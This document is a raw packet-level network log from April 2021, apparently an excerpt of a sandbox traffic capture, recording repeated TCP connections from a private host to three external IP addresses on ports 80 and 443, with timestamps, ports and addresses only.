Apr 8, 2021 11:01:50.051660061 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051681995 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051700115 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.051703930 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051728964 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051739931 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.051752090 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051774025 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051785946 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.051795959 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051817894 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051827908 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.051839113 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051861048 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051881075 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.051882029 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051906109 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051911116 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.051928043 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051949024 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051964998 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.051970005 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.051987886 CEST	443	49701	104.21.56.119	192.168.2.3
Apr 8, 2021 11:01:50.052002907 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:01:50.103760958 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:02:35.230670929 CEST	49720	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:02:35.339154005 CEST	80	49720	162.88.193.70	192.168.2.3
Apr 8, 2021 11:02:35.341924906 CEST	49720	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:02:35.342420101 CEST	49720	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:02:35.450438976 CEST	80	49720	162.88.193.70	192.168.2.3
Apr 8, 2021 11:02:35.450606108 CEST	80	49720	162.88.193.70	192.168.2.3
Apr 8, 2021 11:02:35.450622082 CEST	80	49720	162.88.193.70	192.168.2.3
Apr 8, 2021 11:02:35.450690985 CEST	49720	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:02:35.459496021 CEST	49720	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:02:35.570801020 CEST	80	49720	162.88.193.70	192.168.2.3
Apr 8, 2021 11:02:37.074776888 CEST	49722	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:02:37.179760933 CEST	80	49722	162.88.193.70	192.168.2.3
Apr 8, 2021 11:02:37.179860115 CEST	49722	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:02:37.180475950 CEST	49722	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:02:37.285216093 CEST	80	49722	162.88.193.70	192.168.2.3
Apr 8, 2021 11:02:37.285245895 CEST	80	49722	162.88.193.70	192.168.2.3
Apr 8, 2021 11:02:37.285258055 CEST	80	49722	162.88.193.70	192.168.2.3
Apr 8, 2021 11:02:37.285439014 CEST	49722	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:02:37.595227957 CEST	49722	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:02:37.700035095 CEST	80	49722	162.88.193.70	192.168.2.3
Apr 8, 2021 11:02:51.049395084 CEST	49701	443	192.168.2.3	104.21.56.119
Apr 8, 2021 11:02:51.049396038 CEST	49700	80	192.168.2.3	104.21.56.119
Apr 8, 2021 11:02:54.590523005 CEST	49725	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:02:54.621562958 CEST	443	49725	172.67.188.154	192.168.2.3
Apr 8, 2021 11:02:54.625689983 CEST	49725	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:02:55.344294071 CEST	49725	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:02:55.374319077 CEST	443	49725	172.67.188.154	192.168.2.3
Apr 8, 2021 11:02:55.378902912 CEST	443	49725	172.67.188.154	192.168.2.3
Apr 8, 2021 11:02:55.378983021 CEST	443	49725	172.67.188.154	192.168.2.3
Apr 8, 2021 11:02:55.379039049 CEST	49725	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:02:55.385364056 CEST	49725	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:02:55.415319920 CEST	443	49725	172.67.188.154	192.168.2.3
Apr 8, 2021 11:02:55.415498972 CEST	443	49725	172.67.188.154	192.168.2.3
Apr 8, 2021 11:02:55.460685968 CEST	49725	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:02:58.135314941 CEST	49725	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:02:58.165684938 CEST	443	49725	172.67.188.154	192.168.2.3
Apr 8, 2021 11:02:58.188127041 CEST	443	49725	172.67.188.154	192.168.2.3
Apr 8, 2021 11:02:58.188148975 CEST	443	49725	172.67.188.154	192.168.2.3
Apr 8, 2021 11:02:58.188214064 CEST	49725	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:03:03.156164885 CEST	49726	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:03.262958050 CEST	80	49726	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:03.263072014 CEST	49726	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:03.263449907 CEST	49726	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:03.370003939 CEST	80	49726	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:03.370083094 CEST	80	49726	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:03.370095968 CEST	80	49726	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:03.370232105 CEST	49726	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:03.371515036 CEST	49726	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:03.478025913 CEST	80	49726	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:05.638922930 CEST	49729	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:05.745233059 CEST	80	49729	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:05.745341063 CEST	49729	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:05.745573044 CEST	49729	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:05.851918936 CEST	80	49729	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:05.851958036 CEST	80	49729	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:05.851995945 CEST	80	49729	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:05.852046967 CEST	49729	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:05.852489948 CEST	49729	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:05.960211039 CEST	80	49729	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:08.401356936 CEST	49730	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:08.506989002 CEST	80	49730	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:08.507076025 CEST	49730	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:08.507339954 CEST	49730	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:08.612917900 CEST	80	49730	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:08.612941980 CEST	80	49730	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:08.612957001 CEST	80	49730	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:08.613046885 CEST	49730	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:08.613313913 CEST	49730	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:08.718754053 CEST	80	49730	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:09.678040028 CEST	49731	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:09.783015013 CEST	80	49731	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:09.783094883 CEST	49731	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:09.783368111 CEST	49731	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:09.888385057 CEST	80	49731	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:09.888408899 CEST	80	49731	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:09.888422012 CEST	80	49731	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:09.888541937 CEST	49731	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:09.888875008 CEST	49731	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:09.993988991 CEST	80	49731	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:10.949106932 CEST	49732	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:11.054608107 CEST	80	49732	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:11.054795027 CEST	49732	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:11.054966927 CEST	49732	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:11.160324097 CEST	80	49732	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:11.160370111 CEST	80	49732	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:11.160397053 CEST	80	49732	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:11.160487890 CEST	49732	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:11.160698891 CEST	49732	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:11.266263008 CEST	80	49732	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:11.720774889 CEST	49733	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:11.827357054 CEST	80	49733	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:11.827639103 CEST	49733	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:11.827866077 CEST	49733	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:11.934245110 CEST	80	49733	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:11.934300900 CEST	80	49733	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:11.934329033 CEST	80	49733	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:11.934683084 CEST	49733	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:11.934705019 CEST	49733	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:12.041886091 CEST	80	49733	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:12.386698008 CEST	49737	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:03:12.416085005 CEST	443	49737	172.67.188.154	192.168.2.3
Apr 8, 2021 11:03:12.416213036 CEST	49737	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:03:12.420332909 CEST	49737	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:03:12.449841022 CEST	443	49737	172.67.188.154	192.168.2.3
Apr 8, 2021 11:03:12.451438904 CEST	443	49737	172.67.188.154	192.168.2.3
Apr 8, 2021 11:03:12.451477051 CEST	443	49737	172.67.188.154	192.168.2.3
Apr 8, 2021 11:03:12.451634884 CEST	49737	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:03:12.454134941 CEST	49737	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:03:12.483633995 CEST	443	49737	172.67.188.154	192.168.2.3
Apr 8, 2021 11:03:12.485323906 CEST	443	49737	172.67.188.154	192.168.2.3
Apr 8, 2021 11:03:12.492953062 CEST	49737	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:03:12.522351980 CEST	443	49737	172.67.188.154	192.168.2.3
Apr 8, 2021 11:03:12.582449913 CEST	443	49737	172.67.188.154	192.168.2.3
Apr 8, 2021 11:03:12.582489014 CEST	443	49737	172.67.188.154	192.168.2.3
Apr 8, 2021 11:03:12.582583904 CEST	49737	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:03:12.969392061 CEST	49742	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:13.074166059 CEST	80	49742	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:13.074265957 CEST	49742	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:13.074529886 CEST	49742	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:13.179744005 CEST	80	49742	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:13.179763079 CEST	80	49742	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:13.179769993 CEST	80	49742	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:13.179891109 CEST	49742	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:13.180090904 CEST	49742	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:13.284825087 CEST	80	49742	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:14.917500019 CEST	49755	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:15.023046017 CEST	80	49755	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:15.023272038 CEST	49755	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:15.023585081 CEST	49755	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:15.128887892 CEST	80	49755	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:15.128920078 CEST	80	49755	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:15.128937960 CEST	80	49755	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:15.129050016 CEST	49755	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:15.191530943 CEST	49755	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:15.296884060 CEST	80	49755	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:16.967983961 CEST	49762	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:17.074193954 CEST	80	49762	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:17.074333906 CEST	49762	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:17.074606895 CEST	49762	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:17.180138111 CEST	80	49762	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:17.180192947 CEST	80	49762	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:17.180222988 CEST	80	49762	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:17.180289030 CEST	49762	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:17.180628061 CEST	49762	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:17.286248922 CEST	80	49762	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:18.018551111 CEST	49764	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:18.123934984 CEST	80	49764	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:18.124102116 CEST	49764	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:18.124327898 CEST	49764	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:18.229434013 CEST	80	49764	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:18.229459047 CEST	80	49764	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:18.229479074 CEST	80	49764	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:18.229705095 CEST	49764	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:18.230021000 CEST	49764	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:18.335063934 CEST	80	49764	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:19.123680115 CEST	49765	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:19.229026079 CEST	80	49765	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:19.229171038 CEST	49765	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:19.316049099 CEST	49765	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:19.421160936 CEST	80	49765	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:19.421181917 CEST	80	49765	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:19.421195984 CEST	80	49765	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:19.421308994 CEST	49765	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:19.421777010 CEST	49765	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:19.526577950 CEST	80	49765	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:20.677817106 CEST	49768	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:20.783396006 CEST	80	49768	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:20.783638000 CEST	49768	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:20.784250021 CEST	49768	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:20.889839888 CEST	80	49768	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:20.889914036 CEST	80	49768	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:20.889960051 CEST	80	49768	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:20.890187025 CEST	49768	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:20.890665054 CEST	49768	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:20.996046066 CEST	80	49768	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:22.357623100 CEST	49769	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:22.463350058 CEST	80	49769	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:22.463490009 CEST	49769	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:22.463843107 CEST	49769	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:22.569246054 CEST	80	49769	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:22.569499016 CEST	80	49769	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:22.569514990 CEST	80	49769	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:22.569633007 CEST	49769	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:22.570211887 CEST	49769	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:22.675882101 CEST	80	49769	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:24.003485918 CEST	49770	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:24.109172106 CEST	80	49770	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:24.109318018 CEST	49770	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:24.109728098 CEST	49770	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:24.214948893 CEST	80	49770	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:24.214984894 CEST	80	49770	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:24.215003014 CEST	80	49770	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:24.215121984 CEST	49770	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:24.215455055 CEST	49770	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:24.320635080 CEST	80	49770	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:25.621440887 CEST	49771	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:25.726727962 CEST	80	49771	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:25.726849079 CEST	49771	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:25.727107048 CEST	49771	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:25.832057953 CEST	80	49771	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:25.835148096 CEST	80	49771	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:25.835191011 CEST	80	49771	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:25.835350037 CEST	49771	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:25.835701942 CEST	49771	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:25.940951109 CEST	80	49771	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:26.811564922 CEST	49772	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:26.917992115 CEST	80	49772	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:26.918181896 CEST	49772	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:26.918950081 CEST	49772	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:27.025134087 CEST	80	49772	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:27.026371956 CEST	80	49772	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:27.026393890 CEST	80	49772	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:27.026510000 CEST	49772	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:27.026871920 CEST	49772	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:27.132992029 CEST	80	49772	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:27.848170042 CEST	49773	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:27.954555988 CEST	80	49773	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:27.954739094 CEST	49773	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:27.954987049 CEST	49773	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:28.061052084 CEST	80	49773	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:28.061099052 CEST	80	49773	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:28.061136961 CEST	80	49773	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:28.061265945 CEST	49773	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:28.061875105 CEST	49773	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:28.167978048 CEST	80	49773	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:28.952780962 CEST	49774	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:29.059029102 CEST	80	49774	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:29.059134007 CEST	49774	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:29.059497118 CEST	49774	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:29.165652990 CEST	80	49774	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:29.167048931 CEST	80	49774	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:29.167071104 CEST	80	49774	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:29.167179108 CEST	49774	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:29.167479992 CEST	49774	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:29.274070024 CEST	80	49774	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:29.478543997 CEST	49775	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:29.584028959 CEST	80	49775	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:29.584156036 CEST	49775	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:29.584446907 CEST	49775	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:29.689744949 CEST	80	49775	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:29.689801931 CEST	80	49775	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:29.689815998 CEST	80	49775	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:29.689920902 CEST	49775	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:29.690296888 CEST	49775	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:29.695424080 CEST	49776	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:29.795651913 CEST	80	49775	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:29.801796913 CEST	80	49776	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:29.801981926 CEST	49776	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:29.802161932 CEST	49776	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:29.908288002 CEST	80	49776	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:29.908320904 CEST	80	49776	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:29.908338070 CEST	80	49776	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:29.908495903 CEST	49776	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:29.908622026 CEST	49776	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:29.974661112 CEST	49777	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:03:29.975785971 CEST	49778	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.003516912 CEST	443	49777	172.67.188.154	192.168.2.3
Apr 8, 2021 11:03:30.003685951 CEST	49777	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:03:30.007256985 CEST	49777	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:03:30.014591932 CEST	80	49776	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.035877943 CEST	443	49777	172.67.188.154	192.168.2.3
Apr 8, 2021 11:03:30.037899971 CEST	443	49777	172.67.188.154	192.168.2.3
Apr 8, 2021 11:03:30.037919044 CEST	443	49777	172.67.188.154	192.168.2.3
Apr 8, 2021 11:03:30.038005114 CEST	49777	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:03:30.039833069 CEST	49777	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:03:30.068142891 CEST	443	49777	172.67.188.154	192.168.2.3
Apr 8, 2021 11:03:30.068448067 CEST	443	49777	172.67.188.154	192.168.2.3
Apr 8, 2021 11:03:30.078926086 CEST	49777	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:03:30.080271006 CEST	80	49778	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.080379963 CEST	49778	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.080657959 CEST	49778	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.107587099 CEST	443	49777	172.67.188.154	192.168.2.3
Apr 8, 2021 11:03:30.131349087 CEST	443	49777	172.67.188.154	192.168.2.3
Apr 8, 2021 11:03:30.131371975 CEST	443	49777	172.67.188.154	192.168.2.3
Apr 8, 2021 11:03:30.131458998 CEST	49777	443	192.168.2.3	172.67.188.154
Apr 8, 2021 11:03:30.155358076 CEST	49779	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.185339928 CEST	80	49778	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.185421944 CEST	80	49778	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.185461998 CEST	80	49778	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.185538054 CEST	49778	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.185853004 CEST	49778	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.261465073 CEST	80	49779	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.261629105 CEST	49779	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.261841059 CEST	49779	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.290323019 CEST	80	49778	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.367773056 CEST	80	49779	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.367794991 CEST	80	49779	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.367803097 CEST	80	49779	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.367876053 CEST	49779	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.368156910 CEST	49779	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.378098011 CEST	49780	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.473898888 CEST	80	49779	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.485100031 CEST	80	49780	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.485251904 CEST	49780	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.485392094 CEST	49780	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.592641115 CEST	80	49780	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.592964888 CEST	80	49780	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.592978954 CEST	80	49780	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.593044996 CEST	49780	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.593147039 CEST	49780	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.595356941 CEST	49781	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.699470043 CEST	80	49780	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.704011917 CEST	80	49781	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.704140902 CEST	49781	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.704296112 CEST	49781	80	192.168.2.3	162.88.193.70
Apr 8, 2021 11:03:30.812542915 CEST	80	49781	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.812805891 CEST	80	49781	162.88.193.70	192.168.2.3
Apr 8, 2021 11:03:30.812819004 CEST	80	49781	162.88.193.70	192.168.2.3
